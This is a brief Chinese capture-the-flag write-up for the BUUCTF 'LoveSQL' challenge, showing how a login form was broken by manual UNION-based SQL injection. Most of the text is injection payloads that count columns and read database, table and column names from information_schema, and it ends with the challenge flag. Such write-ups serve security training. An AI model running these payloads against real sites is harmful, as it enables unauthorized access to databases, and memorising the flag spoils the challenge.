buuctf-[极客大挑战 2019]LoveSQL
进入环境，观察一下怎么进行sql注入
发现是登录框形式的，那么试一下万能密码登录
我们用提示给的密码登录试一下
还是一样的提示，用sqlmap试了一下没有效果，那即手工爆
我们爆破字段数
输入username=admin%27%20order%20by%204%23&password=1，直接在网址上输入这个
发现字段数为4
那么我们继续爆破表名
username=1' union select 1,database(),version()%23&password=1
得到了库名，下面爆破表名
username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
发现了表名为l0ve1ysq1,下面得到这个表里的内容
username=1&password='union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = ‘geek’%23
查看源代码就看到了flag
flag{7008a66a-f141-446e-b3e5-71c1c16a2827}